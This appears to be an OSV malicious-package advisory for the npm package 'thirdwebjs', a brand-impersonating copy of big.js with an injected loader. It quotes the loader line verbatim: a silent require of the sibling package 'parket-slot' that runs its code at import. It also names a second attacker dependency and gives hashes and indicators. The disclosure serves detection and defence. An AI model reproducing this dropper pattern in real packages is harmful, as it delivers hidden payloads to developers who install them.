MAL-2026-6344

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/thirdwebjs/MAL-2026-6344.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6344
Published
2026-06-23T20:01:23Z
Modified
2026-06-23T21:01:22.076749581Z
Summary
Malicious code in thirdwebjs (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (c8822953aa63581fd4fb3ea5a1511d646a56f6629e228257b37eb904efdee8e3)

Package name impersonates the well-known 'thirdweb' brand but ships a verbatim copy of MikeMcl's big.js arithmetic library with an injected loader. Both entrypoints declared in package.json exports (big.js line 606 and big.mjs line 606) contain try { const doc = require("parket-slot"); doc.from_str().then(e => {}).catch(e => {}) } catch (error) {} — a require() that fires at library-load time and hands execution to the sibling package 'parket-slot'. package.json line 58 also declares "log-taker": "^0.0.9" as a runtime dependency, pulling a second attacker-controlled sibling into the installer's tree. The legitimate big.js source contains no such require. Any consumer that installs and requires/imports thirdwebjs in either CommonJS or ESM auto-executes code from parket-slot, with log-taker additionally resolved into node_modules at install time. This is a brand-impersonation dropper using sibling packages as the payload delivery channel.

Database specific 
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-06-23T20:48:30.445221939Z",
            "modified_time": "2026-06-23T20:01:23Z",
            "sha256": "c8822953aa63581fd4fb3ea5a1511d646a56f6629e228257b37eb904efdee8e3",
            "versions": [
                "0.0.8"
            ],
            "id": "IN-MAL-2026-007353",
            "source": "amazon-inspector"
        }
    ]
}
References
Credits

Affected packages

npm / thirdwebjs

Package

Name
thirdwebjs
View open source insights on deps.dev
Purl
pkg:npm/thirdwebjs

Affected ranges

Affected versions

0.*
0.0.8

Database specific

indicators 
{
    "evidence_files": [
        {
            "tlsh": "24c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc",
            "sha256": "5b803b2bbd43db704b5802fa5bf4da96e79c3b876d74495116b53a837101dace",
            "path": "big.js"
        },
        {
            "tlsh": "50c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc",
            "sha256": "cc4f38d2c43eae53227a80cb79358fe6373f067d82d5b4b9e1cc135a0fbfbcc3",
            "path": "big.mjs"
        }
    ],
    "package_integrity": [
        {
            "filename": "thirdwebjs-0.0.8.tgz",
            "hashes": {
                "sha1": "27e3a665ca7ce75db69f329f0527c9a2f866cb68",
                "sha512_sri": "sha512-XEu8W9rcYbSGxgQUzi+nYmYKNSNMqmez8P29HmQamHoOPlghPV01ii0OULdxWNzJBssAz6r2gkwAtZT4ABAVUw=="
            }
        }
    ]
}
cwes 
[
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/thirdwebjs/MAL-2026-6344.json"